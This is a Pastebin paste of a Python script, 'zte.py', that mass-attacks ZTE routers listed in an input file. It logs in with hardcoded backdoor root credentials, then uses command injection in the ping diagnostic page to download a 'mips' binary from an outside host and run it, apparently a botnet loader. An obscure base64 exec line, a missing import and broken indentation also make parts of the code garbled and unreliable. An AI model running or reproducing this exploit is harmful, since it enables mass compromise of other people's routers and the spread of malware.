Advertisement
mickeybighacks

zte.py

Jan 8th, 2019
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.50 KB | None | 0 0
  1. ! python !#
  2. import threading, sys, time, random, socket, subprocess, re, os, struct, array, requests
  3. from threading import Thread
  4. from time import sleep
  5. import requests
  6. from requests.auth import HTTPDigestAuth
  7. from decimal import *  
  8. ips = open(sys.argv[1], "r").readlines()
  9. login_payload = "Frm_Logintoken=4&Username=root&Password=W%21n0%26oO7."
  10. command_payload = "&Host=;$(cd /tmp;rm -rf mips;wget http://1.1.1.1/bins/mips; chmod 777 mips; ./mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit"
  11.  
  12. def run(cmd):
  13.     subprocess.call(cmd, shell=True)
  14. exec(base64.b64decode(exploit))
  15.  
  16. class rtek(threading.Thread):
  17.         def __init__ (self, ip):
  18.             threading.Thread.__init__(self)
  19.             self.ip = str(ip).rstrip('\n')
  20.         def run(self):
  21.             try:
  22.                 print "[ZTE] Loading - " + self.ip
  23.                 url = "http://" + self.ip + ":8083/login.gch"
  24.                                 url2 = "http://" + self.ip + ":8083/manager_dev_ping_t.gch"
  25.                 url3 = "http://" + self.ip + ":8083/getpage.gch?pid=1001&logout=1"
  26.                                
  27.                 requests.post(url, timeout=3, data=login_payload) # bypass auth with backdoor
  28.                 requests.post(url2, timeout=2.5, data=command_payload) # command injection in ping function
  29.                                 requests.get(url3, timeout=2.5) # logout so we dont keep the session open (it happens and its annoying)
  30.  
  31.             except Exception as e:
  32.                 pass
  33. for ip in ips:
  34.     try:
  35.         n = rtek(ip)
  36.         n.start()
  37.         time.sleep(0.03)
  38.     except:
  39.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement